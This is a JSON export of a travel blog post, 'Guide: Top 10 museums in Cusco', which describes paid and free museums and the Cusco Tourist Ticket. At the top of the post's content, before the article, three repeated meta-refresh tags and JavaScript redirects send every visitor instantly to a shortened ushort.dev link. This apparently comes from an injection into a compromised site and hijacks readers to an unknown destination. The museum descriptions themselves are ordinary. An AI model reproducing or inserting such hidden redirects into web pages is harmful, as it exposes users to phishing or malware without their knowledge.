{"id":6615,"date":"2025-06-09T12:00:31","date_gmt":"2025-06-09T17:00:31","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=6615"},"modified":"2025-06-09T12:08:10","modified_gmt":"2025-06-09T17:08:10","slug":"guide-top-10-museums-in-cusco","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/guide-top-10-museums-in-cusco\/","title":{"rendered":"Guide: Top 10 museums in Cusco"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>The old Imperial City of the Incas, <strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/cusco\">Cusco<\/a><\/strong>, is one of Peru&#8217;s most popular tourist destinations. Although visitors come to this region to explore Machu Picchu, they soon discover that there is much more to see and do.<\/p>\n\n\n\n<p>Cusco is a charming city that blends colonial and Inca architectural styles, often within the same building. Its temperate climate provides a sense of comfort for tourists as they enjoy the<strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/cusco\/historical-monuments\/historic-center-of-cusco\" class=\"aioseop-link\"> city&#8217;s sights<\/a><\/strong>, restaurants, cafes, and pubs. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/09\/mauro-lima-bz4Bu_SAmz0-unsplash-scaled-1.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Cusco is located at an altitude of approximately 11,152 feet (3,399 meters) above sea level\" class=\"wp-image-6865\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/09\/mauro-lima-bz4Bu_SAmz0-unsplash-scaled-1.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/09\/mauro-lima-bz4Bu_SAmz0-unsplash-scaled-1.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/09\/mauro-lima-bz4Bu_SAmz0-unsplash-scaled-1.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/09\/mauro-lima-bz4Bu_SAmz0-unsplash-scaled-1.jpg?resize=1536%2C1024&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/09\/mauro-lima-bz4Bu_SAmz0-unsplash-scaled-1.jpg?resize=2048%2C1366&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/09\/mauro-lima-bz4Bu_SAmz0-unsplash-scaled-1.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/09\/mauro-lima-bz4Bu_SAmz0-unsplash-scaled-1.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Cusco&#8217;s historic center gathers the most popular museums in the City.<\/strong><\/figcaption><\/figure>\n\n\n\n<p>Visiting Cusco is like stepping back in time, offering a glimpse into the past through its cobblestone streets and preserved traditions. <\/p>\n\n\n\n<p>Local customs are still practiced today, reflected in festivities, food, dress, and materials. Exploring Cusco allows visitors to connect with locals and learn about history, as the city was the site of many significant historical events.<\/p>\n\n\n\n<p>One of the best ways to delve into Cusco&#8217;s rich history is by visiting its museums, which house incredible artifacts. Some museums even offer free admission, expanding the possibilities for your itinerary. <\/p>\n\n\n\n<p>This guide highlights the most relevant museums in Cusco, ensuring you don&#8217;t miss any details during your visit to this historic city.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Museums of Art, Nature, and History of Cusco<\/strong><\/h2>\n\n\n\n<p>In this section, we will start with five paid museums for you to visit during your trip to Cusco. The visit to each of them is worth every penny invested in your tickets. <\/p>\n\n\n\n<p>However, it is worth remembering that there is a tool that can optimize your trip to the main attractions of Cusco.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"547\" height=\"620\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/Boleto-Tur%C3%ADstico-Cusco2-1-771x1024-2.jpg?resize=547%2C620&#038;ssl=1\" alt=\"\" class=\"wp-image-8138\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/Boleto-Tur%C3%ADstico-Cusco2-1-771x1024-2.jpg?w=547&amp;ssl=1 547w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/Boleto-Tur%C3%ADstico-Cusco2-1-771x1024-2.jpg?resize=265%2C300&amp;ssl=1 265w\" sizes=\"auto, (max-width: 547px) 100vw, 547px\" \/><figcaption class=\"wp-element-caption\"><strong>Cusco tourist Ticket.<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>We are talking about the &#8220;<strong><a class=\"aioseop-link\" href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/cusco-tourist-ticket-guide-2024\/\">Boleto Tur\u00edstico de Cusco<\/a><\/strong>&#8221; (The Cusco Tourist Ticket). It lets you visit attractions on some of the city&#8217;s tourist circuits without having to wait in queues at the box office to get tickets. <\/p>\n\n\n\n<p>The Cusco Tourist Ticket mainly includes visits to the famous archaeological sites in the region, as well as a specific circuit for the site museums. <\/p>\n\n\n\n<p>Now that you know this great tip for your trip to Peru, let&#8217;s get to know the main museums in Cusco with these tips.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Cusco Regional Historical Museum<\/strong><\/h3>\n\n\n\n<p>The Cusco Regional Historical Museum is a very interesting option for those who want to know Peruvian history and, especially, Cusco from the Inca times to the colonial period. The place gathers artifacts and some art from these periods. They are in 13 rooms.<\/p>\n\n\n\n<p>  A visit to this museum is pure history since its construction, since the charming colonial mansion that you can see today was built on the foundations of an Inca structure. Also, a little about the history that gave life to the old mansion, this was the home of <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/inca-garcilaso-de-la-vega-a-tale-of-two-worlds\/\" title=\"\">Garcilaso de la Vega<\/a><\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"291\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/08\/rnm_1935914972_0.jpg?resize=697%2C291&#038;ssl=1\" alt=\"\" class=\"wp-image-6617\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/08\/rnm_1935914972_0.jpg?resize=1024%2C427&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/08\/rnm_1935914972_0.jpg?resize=300%2C125&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/08\/rnm_1935914972_0.jpg?resize=768%2C320&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/08\/rnm_1935914972_0.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>A panoramic picture of the Regional Museum.<\/strong><\/figcaption><\/figure>\n\n\n\n<p>Garcilaso was an important chronicler of Spanish origin, who lived there until 1560 when he definitively returned to Spain. <\/p>\n\n\n\n<p>The works of this chronicler concerned, with great focus, the culture, history, and conquests of the famous Inca Empire. <\/p>\n\n\n\n<p>Thus, a visit to the Regional Historical Museum is a chance to feel the historic energy of Cusco. You can also get to know one of the city&#8217;s beautiful colonial buildings from the inside.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Museum of Popular Art<\/strong><\/h3>\n\n\n\n<p>The Museum of Popular Art offers a true journey back in time! This is due to the type of exhibition that the attraction offers.<\/p>\n\n\n\n<p> Also, it&#8217;s a chance to appreciate art and history in a completely different way from what you are used to seeing or can imagine.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"393\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/08\/museo-arte-popular-02.jpg?resize=697%2C393&#038;ssl=1\" alt=\"\" class=\"wp-image-6621\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/08\/museo-arte-popular-02.jpg?w=830&amp;ssl=1 830w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/08\/museo-arte-popular-02.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/08\/museo-arte-popular-02.jpg?resize=768%2C433&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>A depiction of a celebration in the museum.<\/strong><\/figcaption><\/figure>\n\n\n\n<p>At the Art Museum, you will find a collection of handcrafted works in the form of miniatures, which portray cultural aspects and the Peruvian and Cusco way of life. <\/p>\n\n\n\n<p>Also, in this museum, it is possible to find photographic exhibitions about how life was in Cusco&#8217;s past.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Inka Museum<\/strong><\/h3>\n\n\n\n<p>If you want to delve deeper into the culture of the Inca civilization, you cannot miss visiting the famous <a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/cusco\/museums-galleries\/inca-museum\"><strong>Inka Museum<\/strong><\/a>, one of the gems of the city of Cusco. <\/p>\n\n\n\n<p>During your visit, you will be able to walk through the history of this mighty empire, learning about the facts that preceded its appearance, reaching all its conquests until the period of the fall of the empire, with the beginning of Spanish colonization.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/entrada-museo-inka-cusco-full-1.jpg?resize=697%2C465&#038;ssl=1\" alt=\"\" class=\"wp-image-16144\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/entrada-museo-inka-cusco-full-1.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/entrada-museo-inka-cusco-full-1.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/entrada-museo-inka-cusco-full-1.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/entrada-museo-inka-cusco-full-1.jpg?resize=1536%2C1025&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/entrada-museo-inka-cusco-full-1.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/entrada-museo-inka-cusco-full-1.jpg?w=2000&amp;ssl=1 2000w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/entrada-museo-inka-cusco-full-1.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>The Inka Museum.<\/strong><\/figcaption><\/figure>\n\n\n\n<p>The visit is rewarding, as you learn about different aspects of the Inca culture, in addition to historical facts, such as their beliefs, and way of life, you also understand the geography of the empire. <\/p>\n\n\n\n<p>So, whether before or after your visit to the majestic city of Machu Picchu, this tour will certainly make you practically an expert on the subject!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Cusco Natural History Museum<\/strong><\/h3>\n\n\n\n<p>This is an option for the curious by nature, with a special focus on the fauna and flora of Peru. Located in the central region of the city, it&#8217;s close to <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/exploring-cuscos-plaza-de-armas-heart-of-the-city\/\" title=\"\">Plaza de Armas<\/a><\/strong> in Cusco.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/08\/el-museo-de-historia-natural-d_2rlkvv1-JPG_976x0.jpg?resize=697%2C392&#038;ssl=1\" alt=\"\" class=\"wp-image-6620\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/08\/el-museo-de-historia-natural-d_2rlkvv1-JPG_976x0.jpg?w=976&amp;ssl=1 976w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/08\/el-museo-de-historia-natural-d_2rlkvv1-JPG_976x0.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/08\/el-museo-de-historia-natural-d_2rlkvv1-JPG_976x0.jpg?resize=768%2C432&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Inside the Nature Museum.<\/strong><\/figcaption><\/figure>\n\n\n\n<p> For example, there you can meet different species of animals, all taxidermied, that inhabit the Peruvian Andes and understand a little about their evolution over the years. This is an opportunity to go beyond the most obvious options in the city of Cusco.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Museum of Pre-Columbian Art<\/strong><\/h3>\n\n\n\n<p>Among the museums located in the ancient Inca capital, this is certainly one of the most popular and highly recommended. <\/p>\n\n\n\n<p>The <a href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/cusco\/museums-galleries\/museum-of-pre-columbian-art\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>Museo de Arte Precolombino<\/strong><\/a> houses a collection of ancient pieces that number in the hundreds. Each room in the museum has its own theme, making it easier for visitors to understand what is being presented.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"464\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/08\/map-fachada.jpg?resize=697%2C464&#038;ssl=1\" alt=\"\" class=\"wp-image-6622\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/08\/map-fachada.jpg?w=800&amp;ssl=1 800w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/08\/map-fachada.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/08\/map-fachada.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/08\/map-fachada.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>El Museo de Arte.<\/strong><\/figcaption><\/figure>\n\n\n\n<p>Among the objects displayed in the museum are works of art, pieces in gold and silver, and ceramics from the past, along with other attractions.<\/p>\n\n\n\n<p> In addition, it is also possible to enjoy local cuisine in a charming restaurant located inside the museum and have a complete experience.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Free Museum Options in Cusco<\/strong><\/h2>\n\n\n\n<p>Now that you&#8217;ve visited the most well-known museums in Cusco, we&#8217;ve decided to provide you with more opportunities to learn about many stories that are vital to this city. <\/p>\n\n\n\n<p>So, if you want to supplement or develop a vacation itinerary packed with historical and cultural attractions while also receiving free admission to the Incas&#8217; old capital, this is the spot!<\/p>\n\n\n\n<figure data-amp-lightbox=\"true\" class=\"wp-block-gallery aligncenter has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" data-id=\"16146\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/ten-una-gran-experiencia-visitando-el-museo-del-pisco-en-cusco.jpg?resize=697%2C523&#038;ssl=1\" alt=\"\" class=\"wp-image-16146\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/ten-una-gran-experiencia-visitando-el-museo-del-pisco-en-cusco.jpg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/ten-una-gran-experiencia-visitando-el-museo-del-pisco-en-cusco.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/ten-una-gran-experiencia-visitando-el-museo-del-pisco-en-cusco.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/ten-una-gran-experiencia-visitando-el-museo-del-pisco-en-cusco.jpg?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/ten-una-gran-experiencia-visitando-el-museo-del-pisco-en-cusco.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n<figcaption class=\"blocks-gallery-caption wp-element-caption\"><strong>Inside &#8220;El museo del Pisco&#8221;<\/strong><\/figcaption><\/figure>\n\n\n\n<p>Here we will introduce you to some museum options to have fun, get to know, and get even closer to Peruvian culture, with which your trip will become even more special.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text alignwide is-image-fill-element is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"268\" height=\"195\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/6ae925d342c47eac950214028ef935e6.jpg?resize=268%2C195&#038;ssl=1\" alt=\"\" class=\"wp-image-8113 size-full\" style=\"object-position:50% 50%\"\/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>Choco Museo<\/strong><\/h3>\n\n\n\n<p>This is an exclusive spot for people to know the Peruvian Cacao and its derivatives. Kids can participate in chocolate bean-to-bar activities or other chocolate-making-related activities<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text alignwide is-image-fill-element is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"464\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/museo-del-pisco-628445.webp?resize=697%2C464&#038;ssl=1\" alt=\"\" class=\"wp-image-16145 size-full\" style=\"object-position:50% 50%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/museo-del-pisco-628445.webp?w=800&amp;ssl=1 800w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/museo-del-pisco-628445.webp?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/museo-del-pisco-628445.webp?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/museo-del-pisco-628445.webp?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>El Museo del Pisco<\/strong><\/p>\n\n\n\n<p>This bar-eatery is a good way to learn more about the Peruvian spirit. Satisfy your taste buds by trying the Peruvian delicacies this restaurant offers, and of course, the more than 100 varieties of Pisco cocktails.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text alignwide is-image-fill-element is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"525\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/adan_hernandez_ivan__1618433222676_1.jpg?resize=697%2C525&#038;ssl=1\" alt=\"\" class=\"wp-image-8132 size-full\" style=\"object-position:65% 56%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/adan_hernandez_ivan__1618433222676_1.jpg?resize=1024%2C772&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/adan_hernandez_ivan__1618433222676_1.jpg?resize=300%2C226&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/adan_hernandez_ivan__1618433222676_1.jpg?resize=768%2C579&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/adan_hernandez_ivan__1618433222676_1.jpg?w=1080&amp;ssl=1 1080w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>Casa Concha<\/strong><\/h3>\n\n\n\n<p> It was built above the palace of T\u00fapac Yupanqui, son of the famed <strong>Inca Pachacutec<\/strong>. During the conquest, the Spanish landed in Cusco and divided the residences among themselves. This mansion was sold to Don Jos\u00e9 de Santiago Concha Salvatierra, who gave it its current name. <\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text alignwide is-image-fill-element is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"526\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/Museum-8.jpg?resize=697%2C526&#038;ssl=1\" alt=\"\" class=\"wp-image-8135 size-full\" style=\"object-position:49% 94%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/Museum-8.jpg?resize=1024%2C773&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/Museum-8.jpg?resize=300%2C226&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/Museum-8.jpg?resize=768%2C580&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/Museum-8.jpg?w=1080&amp;ssl=1 1080w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>Center for Traditional Textiles of Cusco<\/strong><\/h3>\n\n\n\n<p>The museum&#8217;s management team works with ten local communities in Cusco to help weavers preserve their textile history. They also help these communities showcase their textile art abroad.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text alignwide is-image-fill-element is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"564\" height=\"564\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/96a049154ae678c1723c0ddbfac21831.jpg?resize=564%2C564&#038;ssl=1\" alt=\"\" class=\"wp-image-8136 size-full\" style=\"object-position:50% 50%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/96a049154ae678c1723c0ddbfac21831.jpg?w=564&amp;ssl=1 564w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/96a049154ae678c1723c0ddbfac21831.jpg?resize=300%2C300&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/96a049154ae678c1723c0ddbfac21831.jpg?resize=150%2C150&amp;ssl=1 150w\" sizes=\"auto, (max-width: 564px) 100vw, 564px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>The Maximo Laura Museum<\/strong><\/h3>\n\n\n\n<p>In 2017, the museum moved to &#8220;Santa Catalina Ancha Street&#8221;, in the heart of Cusco. Laura&#8217;s artistic talent found a new canvas in this massive colonial structure with ancient Inca walls. In 2019, the museum was placed among the top five attractions in Cusco.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<p>Undoubtedly, there are options to complete a beautiful historical tour of Cusco! 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